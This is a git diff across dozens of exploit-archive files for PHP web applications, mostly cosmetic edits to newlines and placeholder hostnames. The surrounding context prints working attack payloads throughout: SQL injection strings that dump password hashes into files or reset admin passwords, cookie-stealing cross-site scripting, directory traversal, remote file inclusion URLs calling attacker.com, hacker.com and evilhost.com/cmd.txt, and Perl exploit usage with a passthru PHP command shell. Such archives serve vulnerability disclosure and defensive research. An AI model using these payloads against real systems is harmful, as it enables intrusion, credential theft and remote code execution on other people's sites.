b/platforms/php/webapps/23164.txt index 3e4d25c65..b1b6801a0 100755 --- a/platforms/php/webapps/23164.txt +++ b/platforms/php/webapps/23164.txt @@ -6,4 +6,4 @@ The cause of this problem is due to insufficient sanitization of user-supplied d myPHPNuke version 1.8.8 has been reported to be prone to this issue, however other versions may be affected as well. -select pwd from mpn_authors where aid='mad' into outfile '/filepath/file.txt' \ No newline at end of file +select pwd from mpn_authors where aid='mad' into outfile '/filepath/file.txt' \ No newline at end of file diff --git a/platforms/php/webapps/2317.txt b/platforms/php/webapps/2317.txt index bea00ffcb..797fc6b25 100755 --- a/platforms/php/webapps/2317.txt +++ b/platforms/php/webapps/2317.txt @@ -21,7 +21,7 @@ Exploit: Variable $spaw_root not sanitized.When register_globals=on an attacker ca n exploit this vulnerability with a simple php injection script. -# http://server/[path]/admin/editeur/spaw_control.class.php?spaw_root=[Evil_Script] +# http://site.com/[path]/admin/editeur/spaw_control.class.php?spaw_root=[Evil_Script] --------------------------------------------------------------------------- Solution : diff --git a/platforms/php/webapps/23175.txt b/platforms/php/webapps/23175.txt index e07ddc51a..190bdbccd 100755 --- a/platforms/php/webapps/23175.txt +++ b/platforms/php/webapps/23175.txt @@ -8,4 +8,4 @@ Thread-IT version 1.6 and prior may be vulnerable to this issue. "><script> this code will hide every thing after it including the the board topics if any attacker write it in the topic title. -<script>windows.open("URL");</script> this code will open a new window when the board loaded. \ No newline at end of file +<script>windows.open("URL");</script> this code will open a new window when the board loaded. \ No newline at end of file diff --git a/platforms/php/webapps/2318.txt b/platforms/php/webapps/2318.txt index 128aa3942..69f21d9c1 100755 --- a/platforms/php/webapps/2318.txt +++ b/platforms/php/webapps/2318.txt @@ -25,7 +25,7 @@ ############################################################ #Exploit: -http://www.server/[path]/news/include/customize.php?l=http://evil_scripts? +http://www.site.com/[path]/news/include/customize.php?l=http://evil_scripts? ############################################################ diff --git a/platforms/php/webapps/2319.txt b/platforms/php/webapps/2319.txt index e0fc770e2..59355ccaa 100755 --- a/platforms/php/webapps/2319.txt +++ b/platforms/php/webapps/2319.txt @@ -14,6 +14,6 @@ # Vulnerable : - http://www.server/[path]/demarrage.php?racine=[shell] + http://www.site.com/[path]/demarrage.php?racine=[shell] # milw0rm.com [2006-09-07] diff --git a/platforms/php/webapps/23192.txt b/platforms/php/webapps/23192.txt index 51bb27fb0..f231fdb9e 100755 --- a/platforms/php/webapps/23192.txt +++ b/platforms/php/webapps/23192.txt @@ -4,4 +4,4 @@ It has been reported that one of the scripts included with GuppY is vulnerable t The vendor is aware of the vulnerability and has released an updated version, 2,4p1, that eliminates the issue. -[c=expression(alert('unsecure'))]texte[/c] \ No newline at end of file +[c=expression(alert('unsecure'))]texte[/c] \ No newline at end of file diff --git a/platforms/php/webapps/23193.txt b/platforms/php/webapps/23193.txt index 1cba4c04e..7f8182700 100755 --- a/platforms/php/webapps/23193.txt +++ b/platforms/php/webapps/23193.txt @@ -21,4 +21,4 @@ CODE] http://www.example.com/comment.php?mode=display&sid=filemgmt-XXX&title=[SQL INJECTION CODE] -http://www.example.com/filemgmt/singlefile.php?lid=17'/0/[SQL INJECTION CODE] \ No newline at end of file +http://www.example.com/filemgmt/singlefile.php?lid=17'/0/[SQL INJECTION CODE] \ No newline at end of file diff --git a/platforms/php/webapps/23205.txt b/platforms/php/webapps/23205.txt index f49883ede..b373a37f7 100755 --- a/platforms/php/webapps/23205.txt +++ b/platforms/php/webapps/23205.txt @@ -9,4 +9,4 @@ http://www.example.com/dcp/advertiser.php?adv_logged=1&username=1&password=qwe' http://www.example.com/dcp/advertiser.php?adv_logged=1&username=1&password=qwe' or 1=1 UNION select uid,name,password,surname,job,email from dcp5_members into outfile'/var/www/html/dcpad.txt -http://www.example.com/dcp/advertiser.php?adv_logged=1&username=1&password=' \ No newline at end of file +http://www.example.com/dcp/advertiser.php?adv_logged=1&username=1&password=' \ No newline at end of file diff --git a/platforms/php/webapps/23206.txt b/platforms/php/webapps/23206.txt index 87d0cbeaa..abb66de84 100755 --- a/platforms/php/webapps/23206.txt +++ b/platforms/php/webapps/23206.txt @@ -4,4 +4,4 @@ Multiple SQL Injection vulnerabilities have been discovered that affect DCP-Port An attacker may exploit these conditions to disclose DCP Portal credentials, reset user passwords, or perform a denial of service type attack via email spamming. -http://www.example.com/dcp/lostpassword.php?action=lost&email=fake' or 1=1--' \ No newline at end of file +http://www.example.com/dcp/lostpassword.php?action=lost&email=fake' or 1=1--' \ No newline at end of file diff --git a/platforms/php/webapps/23207.txt b/platforms/php/webapps/23207.txt index 74f915328..a587145dc 100755 --- a/platforms/php/webapps/23207.txt +++ b/platforms/php/webapps/23207.txt @@ -6,4 +6,4 @@ Successful exploitation of this vulnerability may allow an attacker to steal coo Atrise Everyfind 5.02 has been listed as a vulnerable package, however other versions may be affected as well. -http://www.example.com/search.html?cat=0&keys=<script>alert("hello")</script><script>alert.document.cookie)</script> \ No newline at end of file +http://www.example.com/search.html?cat=0&keys=<script>alert("hello")</script><script>alert.document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/23208.txt b/platforms/php/webapps/23208.txt index 608509ff4..94775905f 100755 --- a/platforms/php/webapps/23208.txt +++ b/platforms/php/webapps/23208.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/8744/info It has been reported that MPNews PRO is prone to an information disclosure vulnerability. The problem is believed to occur due to MPNews PRO failing to sufficiently filter specific dot-dot-slash sequences (../). As a result, an attacker may be capable of viewing the contents of files located outside of the established web root. -http://www.example.org/./.././../mpnews.ini \ No newline at end of file +http://www.example.org/./.././../mpnews.ini \ No newline at end of file diff --git a/platforms/php/webapps/23213.txt b/platforms/php/webapps/23213.txt index db4a49e24..41ca8cf9f 100755 --- a/platforms/php/webapps/23213.txt +++ b/platforms/php/webapps/23213.txt @@ -4,4 +4,4 @@ Wordpress has been reported prone to multiple SQL injection vulnerabilities. The Ultimately an attacker may exploit this vulnerability to insert SQL code into Wordpress requests and have the SQL code executed by the underlying database server. -http://www.example.com/index.php?cat=100)%09or%090=0%09or%09(0=1 \ No newline at end of file +http://www.example.com/index.php?cat=100)%09or%090=0%09or%09(0=1 \ No newline at end of file diff --git a/platforms/php/webapps/23218.txt b/platforms/php/webapps/23218.txt index 59d8a39cb..22ff5f585 100755 --- a/platforms/php/webapps/23218.txt +++ b/platforms/php/webapps/23218.txt @@ -8,4 +8,4 @@ http://[attacker]/auth_func.php http://[target]/emml_email_func.php?emml_path=http://[attacker] will include the file : -http://[attacker]/class.html.mime.mail.php \ No newline at end of file +http://[attacker]/class.html.mime.mail.php \ No newline at end of file diff --git a/platforms/php/webapps/23219.txt b/platforms/php/webapps/23219.txt index a9d180682..86159b138 100755 --- a/platforms/php/webapps/23219.txt +++ b/platforms/php/webapps/23219.txt @@ -11,4 +11,4 @@ Successful exploitation of this vulnerability may allow an attacker to steal coo - With a cookie named "GuppYUser" and with the value : fr||[NICK]||[MAIL]||LR||||on||<br style="background:url('javascript:[SCRIPT]')">, if you send a message -(forum, guestbook,...) the javascript is executed. \ No newline at end of file +(forum, guestbook,...) the javascript is executed. \ No newline at end of file diff --git a/platforms/php/webapps/23220.txt b/platforms/php/webapps/23220.txt index 66623a35b..c4b0cea81 100755 --- a/platforms/php/webapps/23220.txt +++ b/platforms/php/webapps/23220.txt @@ -17,4 +17,4 @@ will write into http://[target]/tadaam.html the line : fr||../../admin/mdp.php%00||[MAIL]||LR||||on||1 sent to the page : http://[target]/tinymsg.php?action=3 will show the source of the file http://[target]/admin/mdp.php (containing the md5-crypted -admin password). \ No newline at end of file +admin password). \ No newline at end of file diff --git a/platforms/php/webapps/23232.txt b/platforms/php/webapps/23232.txt index 1a83afdaf..135ff3c17 100755 --- a/platforms/php/webapps/23232.txt +++ b/platforms/php/webapps/23232.txt @@ -4,4 +4,4 @@ PayPal Store Front is prone to a remote file include vulnerability. It may be po PayPal Store Front 3.0 has been reported to be vulnerable to this issue, however it is possible that other versions are affected as well. -http://www.example.com/index.php?do=ext&page=http://www.attacker's_server/index \ No newline at end of file +http://www.example.com/index.php?do=ext&page=http://www.attacker's_site.com/index \ No newline at end of file diff --git a/platforms/php/webapps/23233.txt b/platforms/php/webapps/23233.txt index 1a1b3346c..e518b899f 100755 --- a/platforms/php/webapps/23233.txt +++ b/platforms/php/webapps/23233.txt @@ -8,4 +8,4 @@ The malicious HTML may be rendered in the browser of an unsuspecting user who vi <img src="javascript:alert()"> -<b style="background-image: url(javascript:alert(document))">test</b> \ No newline at end of file +<b style="background-image: url(javascript:alert(document))">test</b> \ No newline at end of file diff --git a/platforms/php/webapps/23238.txt b/platforms/php/webapps/23238.txt index ad7353a64..671aa5cd0 100755 --- a/platforms/php/webapps/23238.txt +++ b/platforms/php/webapps/23238.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/8814/info It has been reported that Gallery is prone to a remote file include vulnerability in the index.php script file. The problem occurs due to the program failing to verify the location in which it includes the util.php script, when handling specific requests to index.php. As a result, an attacker may be capable of having arbitrary PHP script code being executed on the remote host with the privileges of the web server. -http://www.example.org/path_to_gallery/setup/index.php?GALLERY_BASEDIR=http://www.attacker.com/ \ No newline at end of file +http://www.example.org/path_to_gallery/setup/index.php?GALLERY_BASEDIR=http://www.attacker.com/ \ No newline at end of file diff --git a/platforms/php/webapps/2324.txt b/platforms/php/webapps/2324.txt index db14d67e6..ec38f33ba 100755 --- a/platforms/php/webapps/2324.txt +++ b/platforms/php/webapps/2324.txt @@ -14,6 +14,6 @@ # Vulnerable : - http://www.server/ACGVnews/header.php?PathNews=[shell] + http://www.site.com/ACGVnews/header.php?PathNews=[shell] # milw0rm.com [2006-09-07] diff --git a/platforms/php/webapps/23244.txt b/platforms/php/webapps/23244.txt index 30ff429f4..e3350f0af 100755 --- a/platforms/php/webapps/23244.txt +++ b/platforms/php/webapps/23244.txt @@ -4,4 +4,4 @@ WrenSoft Zoom Search Engine is prone to a cross-site scripting issue in the soft The problem occurs because the software fails to properly sanitize user-supplied input. An attacker may be able to a construct a malicious link containing HTML or script code that may be rendered in a user's browser upon visiting that link. This attack would occur in the security context of the vulnerable site. -http://www.example.com/search.php?zoom_query=<script>alert("hello")</script><script>alert("hello")</script> \ No newline at end of file +http://www.example.com/search.php?zoom_query=<script>alert("hello")</script><script>alert("hello")</script> \ No newline at end of file diff --git a/platforms/php/webapps/23249.txt b/platforms/php/webapps/23249.txt index 3aebed15d..129fb97b4 100755 --- a/platforms/php/webapps/23249.txt +++ b/platforms/php/webapps/23249.txt @@ -27,4 +27,4 @@ http://server/kingchat.php?chat=2&l=2&message= Your persistant XSS will be stored here. Enjoy ;). VipVince. - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/2325.txt b/platforms/php/webapps/2325.txt index d688808e8..175502397 100755 --- a/platforms/php/webapps/2325.txt +++ b/platforms/php/webapps/2325.txt @@ -14,8 +14,8 @@ # Vulnerable : - http://www.server/[path]/install.php?_NE[AbsPath]=[shell] + http://www.site.com/[path]/install.php?_NE[AbsPath]=[shell] - http://www.server/[path]/migrateNE2toNE3.php?_NE[AbsPath]=[shell] + http://www.site.com/[path]/migrateNE2toNE3.php?_NE[AbsPath]=[shell] # milw0rm.com [2006-09-07] diff --git a/platforms/php/webapps/23259.txt b/platforms/php/webapps/23259.txt index ca1128726..37ea2f0fe 100755 --- a/platforms/php/webapps/23259.txt +++ b/platforms/php/webapps/23259.txt @@ -6,4 +6,4 @@ vadmin_login = ' OR Login LIKE '% and -vadmin_pass = ' OR Password LIKE '% \ No newline at end of file +vadmin_pass = ' OR Password LIKE '% \ No newline at end of file diff --git a/platforms/php/webapps/2326.txt b/platforms/php/webapps/2326.txt index e5031da12..3819fea14 100755 --- a/platforms/php/webapps/2326.txt +++ b/platforms/php/webapps/2326.txt @@ -13,11 +13,11 @@ # Thanks : BLaCKWHITE, B0tan, FearLesS, B3g0k, Liz0zim, EntRiKa, Dj_Remix, Di_Lejyoner # Vulnerable : - http://www.server/[path]/content/article.php?ide=[shell] - http://www.server/[path]/content/delete.php?pwfile=[shell] - http://www.server/[path]/content/modify.php?pwfile=[shell] - http://www.server/[path]/content/admin.php?pwfile=[shell] - http://www.server/[path]/content/modify_go.php?pwfile=[shell] + http://www.site.com/[path]/content/article.php?ide=[shell] + http://www.site.com/[path]/content/delete.php?pwfile=[shell] + http://www.site.com/[path]/content/modify.php?pwfile=[shell] + http://www.site.com/[path]/content/admin.php?pwfile=[shell] + http://www.site.com/[path]/content/modify_go.php?pwfile=[shell] # milw0rm.com [2006-09-07] diff --git a/platforms/php/webapps/23260.sh b/platforms/php/webapps/23260.sh index 1776e446e..414151604 100755 --- a/platforms/php/webapps/23260.sh +++ b/platforms/php/webapps/23260.sh @@ -12,4 +12,4 @@ Content-type: application/x-www-form-urlencoded mode=setnewpwd&passwd=new&uid=2&rid=3'+or+uid='1& " | nc localhost 80 -------------->8------------->8------------->8------------->8-------------- \ No newline at end of file +------------->8------------->8------------->8------------->8-------------- \ No newline at end of file diff --git a/platforms/php/webapps/23261.txt b/platforms/php/webapps/23261.txt index aa2bf3f40..a731af094 100755 --- a/platforms/php/webapps/23261.txt +++ b/platforms/php/webapps/23261.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/8850/info Bytehoard is prone to directory traversal attacks. This could potentially permit remote attackers to gain unauthorized access to sensitive files hosted on the system running the software. -http://www.example.com/bytehoard/index.php?infolder=../../../../ \ No newline at end of file +http://www.example.com/bytehoard/index.php?infolder=../../../../ \ No newline at end of file diff --git a/platforms/php/webapps/23264.txt b/platforms/php/webapps/23264.txt index 22c2cc1af..ed6c03d40 100755 --- a/platforms/php/webapps/23264.txt +++ b/platforms/php/webapps/23264.txt @@ -6,4 +6,4 @@ DeskPro version 1.1.0 and prior have been reported to be prone to this issue, ho http://www.example.com/deskpro_v1/faq.php?cat=45' http://www.example.com/deskpro_v1/faq.php?article=105' -http://www.example.com/deskpro_v1/view.php?ticketid=1'&ticket_pass= \ No newline at end of file +http://www.example.com/deskpro_v1/view.php?ticketid=1'&ticket_pass= \ No newline at end of file diff --git a/platforms/php/webapps/23269.txt b/platforms/php/webapps/23269.txt index 15d5b5f8d..c8d2028c0 100755 --- a/platforms/php/webapps/23269.txt +++ b/platforms/php/webapps/23269.txt @@ -10,4 +10,4 @@ If the value of $email is aaa@aaa.com' OR 1=1 INTO OUTFILE '/<directory-path>/pass.txt, the SQL request becomes: select passmd5 from people where email=' aaa@aaa.com' OR 1=1 INTO OUTFILE -'/<directory-path>/pass.txt' \ No newline at end of file +'/<directory-path>/pass.txt' \ No newline at end of file diff --git a/platforms/php/webapps/23284.txt b/platforms/php/webapps/23284.txt index 5908a6ca3..928802f9c 100755 --- a/platforms/php/webapps/23284.txt +++ b/platforms/php/webapps/23284.txt @@ -15,7 +15,7 @@ Vulnerable code : The variable '$mybb->input['id']' remains unsanitized. Usage : -http://www.server/bank.php +http://www.site.com/bank.php /GET transactions=send /POST r_pay=Red_Hat&r_username=[SQLi] diff --git a/platforms/php/webapps/23286.txt b/platforms/php/webapps/23286.txt index 2969a1821..99cd4f7b1 100755 --- a/platforms/php/webapps/23286.txt +++ b/platforms/php/webapps/23286.txt @@ -1,4 +1,4 @@ -1 ######################################### 1 + 1 ######################################### 1 0 I'm D4NB4R member from Inj3ct0r Team 1 1 ######################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 @@ -80,3 +80,4 @@ categories, prices and special fees can be translated. _____________________________________________________ Daniel Barragan "D4NB4R" 2012 + \ No newline at end of file diff --git a/platforms/php/webapps/23294.txt b/platforms/php/webapps/23294.txt index e6b43d526..fea7aeb73 100755 --- a/platforms/php/webapps/23294.txt +++ b/platforms/php/webapps/23294.txt @@ -4,4 +4,4 @@ It has been reported that Chi Kien Uong Guestbook may be prone to a cross-site s Successful exploitation of this attack may allow an attacker to steal cookie-based authentication information. -" onmouseover="alert(document.cookie) \ No newline at end of file +" onmouseover="alert(document.cookie) \ No newline at end of file diff --git a/platforms/php/webapps/23302.txt b/platforms/php/webapps/23302.txt index cc9097855..5a43d6bbf 100755 --- a/platforms/php/webapps/23302.txt +++ b/platforms/php/webapps/23302.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/8902/info A problem has been reported in the handling of some types of input by Les Visiteurs. Because of this, an attacker may be able to execute arbitrary commands on the system. -http://www.example.com/path/include/config.inc.php?lvc_include_dir=http://backdoor/ \ No newline at end of file +http://www.example.com/path/include/config.inc.php?lvc_include_dir=http://backdoor/ \ No newline at end of file diff --git a/platforms/php/webapps/23322.txt b/platforms/php/webapps/23322.txt index 7b844bfde..8bb7c3412 100755 --- a/platforms/php/webapps/23322.txt +++ b/platforms/php/webapps/23322.txt @@ -20,7 +20,7 @@ $query = $db->simple_select("tipsoftheday_users", "*", "totdid=".$mybb->input['a And can be exploited here. -http://server/dir/misc.php?tips=newtip +http://www.server.com/dir/misc.php?tips=newtip Add <script>alert(/xss/)</script> into the boxes as newtip and then refresh the page. Bingo our stored XSS pop up. @@ -40,7 +40,7 @@ As you can see has not been sanitized. It can be exploited via admin panel. POC below: -http://server/bladir/admin/index.php?module=config-tipsoftheday&action=edittip&tip=[VAILD_ID]'[SQLi] +http://www.server.com/bladir/admin/index.php?module=config-tipsoftheday&action=edittip&tip=[VAILD_ID]'[SQLi] Result. diff --git a/platforms/php/webapps/23333.txt b/platforms/php/webapps/23333.txt index 2f6c83a8c..88373efa4 100755 --- a/platforms/php/webapps/23333.txt +++ b/platforms/php/webapps/23333.txt @@ -4,4 +4,4 @@ PHPKIT is reported to be prone to a cross-site scripting vulnerability. This is An attacker could exploit this issue by enticing a user to follow a malicious link. This could theoretically allow for theft of cookie-based authentication credentials or other attacks. -http://www.example.com/include.php?path=contact.php&contact_email="><script>alert(123);</script> \ No newline at end of file +http://www.example.com/include.php?path=contact.php&contact_email="><script>alert(123);</script> \ No newline at end of file diff --git a/platforms/php/webapps/23336.txt b/platforms/php/webapps/23336.txt index 7909eb375..4af641a15 100755 --- a/platforms/php/webapps/23336.txt +++ b/platforms/php/webapps/23336.txt @@ -7,4 +7,4 @@ Successful exploitation of this attack may allow an attacker to steal cookie-bas OpenAutoClassifieds version 1.0 is reported to be prone to this issue, however other versions may be affected as well. http://www.example.com/openautoclassifieds/friendmail.php?listing=< -script>alert(document.domain);</script> \ No newline at end of file +script>alert(document.domain);</script> \ No newline at end of file diff --git a/platforms/php/webapps/23338.txt b/platforms/php/webapps/23338.txt index d1c71d794..e6137bbc9 100755 --- a/platforms/php/webapps/23338.txt +++ b/platforms/php/webapps/23338.txt @@ -7,4 +7,4 @@ Successful exploitation of this vulnerability may allow an attacker to steal coo Easy PHP Photo Album version 1.0 has been reported to be vulnerable to this issue, however prior versions may be affected as well. http://www.example.com/photos/showimages.php?dir=<iframe%20src="C:\"%20width=400%20height=400></iframe> -http://www.example.com//photos/showfullimage.php?dir=[dir name][spc]St[spc]Clair&image=<h1>hello</h1> \ No newline at end of file +http://www.example.com//photos/showfullimage.php?dir=[dir name][spc]St[spc]Clair&image=<h1>hello</h1> \ No newline at end of file diff --git a/platforms/php/webapps/2335.txt b/platforms/php/webapps/2335.txt index 8f3d7fb93..ab72e3282 100755 --- a/platforms/php/webapps/2335.txt +++ b/platforms/php/webapps/2335.txt @@ -14,8 +14,8 @@ # Vulnerable : - http://www.server/[path]/index.php?base==[shell] + http://www.site.com/[path]/index.php?base==[shell] - http://www.server/[path]/pop.php?base=[shell] + http://www.site.com/[path]/pop.php?base=[shell] # milw0rm.com [2006-09-08] diff --git a/platforms/php/webapps/23359.txt b/platforms/php/webapps/23359.txt index 2bccd5964..32ef0ef56 100755 --- a/platforms/php/webapps/23359.txt +++ b/platforms/php/webapps/23359.txt @@ -43,4 +43,4 @@ SQL Error: +------------------------------------------------------------------+ -Enjoy. \ No newline at end of file +Enjoy. \ No newline at end of file diff --git a/platforms/php/webapps/2336.pl b/platforms/php/webapps/2336.pl index c61195b0b..9a856a4da 100755 --- a/platforms/php/webapps/2336.pl +++ b/platforms/php/webapps/2336.pl @@ -41,7 +41,7 @@ use LWP::UserAgent; # usage: # perl exploit.pl <Socketwiz Bookmarks Locaction> <shell location> <shell cmd> # -# perl exploit.pl http://server/[Socketwiz Bookmarks_Path]/ http://server/cmd.txt cmd +# perl exploit.pl http://site.com/[Socketwiz Bookmarks_Path]/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -110,7 +110,7 @@ sub usage() { head(); print " Usage: perl exploit.pl <Socketwiz Bookmarks Locaction> <shell location> <shell cmd>\r\n\n"; -print " <swBookmarks Locaction> - Full path to Socketwiz Bookmarks ex: http://www.server/swBookmarks/\r\n"; +print " <swBookmarks Locaction> - Full path to Socketwiz Bookmarks ex: http://www.site.com/swBookmarks/\r\n"; print " <shell location> - Path to cmd Shell e.g http://www.evilhost.com/cmd.txt\r\n"; print " <shell cmd> - Command variable used in php shell \r\n"; print " ============================================================================\r\n"; diff --git a/platforms/php/webapps/23372.txt b/platforms/php/webapps/23372.txt index 798d55d9d..4a3e65ade 100755 --- a/platforms/php/webapps/23372.txt +++ b/platforms/php/webapps/23372.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9018/info PHP-Coolfile allows unauthorized administrative access due to an error in the way access is evaluated in the action.php file. This could allow a remote user to obtain the administrative username and password for the site. -www.server/php-coolfile/action.php?action=edit&file=config.php \ No newline at end of file +www.site.com/php-coolfile/action.php?action=edit&file=config.php \ No newline at end of file diff --git a/platforms/php/webapps/23381.txt b/platforms/php/webapps/23381.txt index 18a9f11ed..3a71d8b88 100755 --- a/platforms/php/webapps/23381.txt +++ b/platforms/php/webapps/23381.txt @@ -4,4 +4,4 @@ It has been reported that phpWebFileManager may be prone to a directory traversa phpWebFileManager version 2.0.0 is reported to be prone to this issue, however other versions may be affected as well. -http://www.example.com/phpwebfilemgr/index.php?f=../../../ \ No newline at end of file +http://www.example.com/phpwebfilemgr/index.php?f=../../../ \ No newline at end of file diff --git a/platforms/php/webapps/23384.txt b/platforms/php/webapps/23384.txt index 651785913..5e5603e86 100755 --- a/platforms/php/webapps/23384.txt +++ b/platforms/php/webapps/23384.txt @@ -4,4 +4,4 @@ It has been reported that Rolis Guestbook may be vulnerable to an input validati Rolis Guestbook version 1.0 has been reported to be prone to this issue, however other versions may be affected as well. -http://www.example.com/rolis_book_path/insert.inc.php?path=http://hacker.com/ \ No newline at end of file +http://www.example.com/rolis_book_path/insert.inc.php?path=http://hacker.com/ \ No newline at end of file diff --git a/platforms/php/webapps/23386.txt b/platforms/php/webapps/23386.txt index ead679659..8b5f921d0 100755 --- a/platforms/php/webapps/23386.txt +++ b/platforms/php/webapps/23386.txt @@ -5,4 +5,4 @@ It has been reported that Auto Directory Index is prone to a cross-site scriptin Auto Directory Index version 1.2.3 is reported to be prone to this issue, however other versions may be affected as well. -http://www.example.com/index.php?dir=<script>malicious_code</script> \ No newline at end of file +http://www.example.com/index.php?dir=<script>malicious_code</script> \ No newline at end of file diff --git a/platforms/php/webapps/23406.txt b/platforms/php/webapps/23406.txt index af9dc552c..a05eda763 100755 --- a/platforms/php/webapps/23406.txt +++ b/platforms/php/webapps/23406.txt @@ -4,4 +4,4 @@ An information disclosure weakness has been reported in CuteNews 1.3, that may e A malicious person could potentially use information harvested through the exploitation this type of issue to launch future attacks against a target system. -http://www.example.com/cutenews/index.php?debug \ No newline at end of file +http://www.example.com/cutenews/index.php?debug \ No newline at end of file diff --git a/platforms/php/webapps/23416.txt b/platforms/php/webapps/23416.txt index e3dd73bde..9d330069c 100755 --- a/platforms/php/webapps/23416.txt +++ b/platforms/php/webapps/23416.txt @@ -6,4 +6,4 @@ http://www.example.com/banners.php?op=EmailStats&cid=1%20AND%20passwd%20LIKE%20' /* http://www.example.com/banners.php?op=Change&cid=-1&bid=100&url=HTTP://WWW.NEWURL.C -OM \ No newline at end of file +OM \ No newline at end of file diff --git a/platforms/php/webapps/23420.txt b/platforms/php/webapps/23420.txt index 2865cb67d..4bad47055 100755 --- a/platforms/php/webapps/23420.txt +++ b/platforms/php/webapps/23420.txt @@ -4,4 +4,4 @@ Bitfolge Snif is prone to a cross-site scripting vulnerability. As a result, hos This issue was reported in version 1.2.6. Other versions are also likely affected. -http://www.example.com/index.php?path=<script>alert(document.domain)</script> \ No newline at end of file +http://www.example.com/index.php?path=<script>alert(document.domain)</script> \ No newline at end of file diff --git a/platforms/php/webapps/23428.html b/platforms/php/webapps/23428.html index a68b4be4c..d090b7af1 100755 --- a/platforms/php/webapps/23428.html +++ b/platforms/php/webapps/23428.html @@ -19,4 +19,4 @@ ID : <input type="text" name="id" value="1"><br> <input type="submit" name="submit" value="Update"><br> </form> </body> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/php/webapps/23429.txt b/platforms/php/webapps/23429.txt index 6b42cbacd..b8b2d2add 100755 --- a/platforms/php/webapps/23429.txt +++ b/platforms/php/webapps/23429.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9196/info It has bee reported that Mambo Open Source 4.0.14 Server is prone to SQL injection attacks. The problem is said to occur due to insufficient sanitization of data passed to specific index.php variables. As a result, an attacker may be capable of influencing the logic of specific queries or statements made by the underlying database. This could ultimately result in a number of attacks being carried out against the system. -http://www.example.com/index.php?option=articles&task=viewarticle&artid=5%20UNION%20somequery \ No newline at end of file +http://www.example.com/index.php?option=articles&task=viewarticle&artid=5%20UNION%20somequery \ No newline at end of file diff --git a/platforms/php/webapps/2343.txt b/platforms/php/webapps/2343.txt index d235a550c..c87243ed9 100755 --- a/platforms/php/webapps/2343.txt +++ b/platforms/php/webapps/2343.txt @@ -41,7 +41,7 @@ use LWP::UserAgent; # usage: # perl exploit.pl <MiniPort@l Locaction> <shell location> <shell cmd> # -# perl exploit.pl http://server/[MiniPort@l_Path]/ http://server/cmd.txt cmd +# perl exploit.pl http://site.com/[MiniPort@l_Path]/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -110,7 +110,7 @@ sub usage() { head(); print " Usage: perl exploit.pl <MiniPort@l Locaction> <shell location> <shell cmd>\r\n\n"; -print " <MiniPort@l Locaction> - Full path to MiniPort@l ex: http://www.server/MiniPort@l/\r\n"; +print " <MiniPort@l Locaction> - Full path to MiniPort@l ex: http://www.site.com/MiniPort@l/\r\n"; print " <shell location> - Path to cmd Shell e.g http://www.evilhost.com/cmd.txt\r\n"; print " <shell cmd> - Command variable used in php shell \r\n"; print " ============================================================================\r\n"; diff --git a/platforms/php/webapps/23430.txt b/platforms/php/webapps/23430.txt index 43f0a8eca..e55db6a51 100755 --- a/platforms/php/webapps/23430.txt +++ b/platforms/php/webapps/23430.txt @@ -16,4 +16,4 @@ voteID=1&dbprefix=mos_users%20SET%20usertype=char(115,117, # The password of the user having id 10 becomes 'a' : http://www.example.com/pollBooth.php?task=Vote&lang=eng&sessioncookie=1& voteID=1&dbprefix=mos_users%20SET%20password=md5(char(97)) -%20WHERE%20id=10/* \ No newline at end of file +%20WHERE%20id=10/* \ No newline at end of file diff --git a/platforms/php/webapps/23443.txt b/platforms/php/webapps/23443.txt index 1372b9c14..a81cadfbd 100755 --- a/platforms/php/webapps/23443.txt +++ b/platforms/php/webapps/23443.txt @@ -6,4 +6,4 @@ Aardvark Topsites PHP version 4.1.0 has been reported to be prone to these issue http://www.example.com/index.php?method=` http://www.example.com/index.php?a=lostpw&set=1&id=` -http://www.example.com/index.php?a=lostpw&set=1&session_id=` \ No newline at end of file +http://www.example.com/index.php?a=lostpw&set=1&session_id=` \ No newline at end of file diff --git a/platforms/php/webapps/23445.txt b/platforms/php/webapps/23445.txt index 8ee3cce0e..96ab447c6 100755 --- a/platforms/php/webapps/23445.txt +++ b/platforms/php/webapps/23445.txt @@ -6,4 +6,4 @@ Successful exploitation of this attack may allow an attacker to steal cookie-bas Although unconfirmed, osCommerce versions 2.2 Milestone 1 and 2.2 Milestone 2 may be vulnerable to this issue. -https://www.example.com/?osCsid="><iframe src=http://www.example.com></iframe> \ No newline at end of file +https://www.example.com/?osCsid="><iframe src=http://www.example.com></iframe> \ No newline at end of file diff --git a/platforms/php/webapps/23456.txt b/platforms/php/webapps/23456.txt index 1f2677581..965c61a96 100755 --- a/platforms/php/webapps/23456.txt +++ b/platforms/php/webapps/23456.txt @@ -4,4 +4,4 @@ It has been reported that BES-CMS is vulnerable to a remote file include vulnera BES-CMS versions 0.4 rc3 and 0.5 rc3 are reported to be vulnerable to this issue, however other versions may be affected as well. -http://www.example.com/Include/Start.php?inc_path=http://www.example/ \ No newline at end of file +http://www.example.com/Include/Start.php?inc_path=http://www.example/ \ No newline at end of file diff --git a/platforms/php/webapps/23459.txt b/platforms/php/webapps/23459.txt index c354f558a..228aeeb83 100755 --- a/platforms/php/webapps/23459.txt +++ b/platforms/php/webapps/23459.txt @@ -6,4 +6,4 @@ This issue was reported in Xoops 2.0.5.1. It is likely that other versions are a http://www.example.com/modules/mylinks/myheader.php?url=javascript:alert(document.cookie); -http://www.example.com/modules/mylinks/myheader.php?url="><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/modules/mylinks/myheader.php?url="><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/2346.txt b/platforms/php/webapps/2346.txt index 12cd1ccac..21c16dfb0 100755 --- a/platforms/php/webapps/2346.txt +++ b/platforms/php/webapps/2346.txt @@ -14,6 +14,6 @@ # Vulnerable : - http://www.server/[path]/common.php?include_path=[shell] + http://www.site.com/[path]/common.php?include_path=[shell] # milw0rm.com [2006-09-11] diff --git 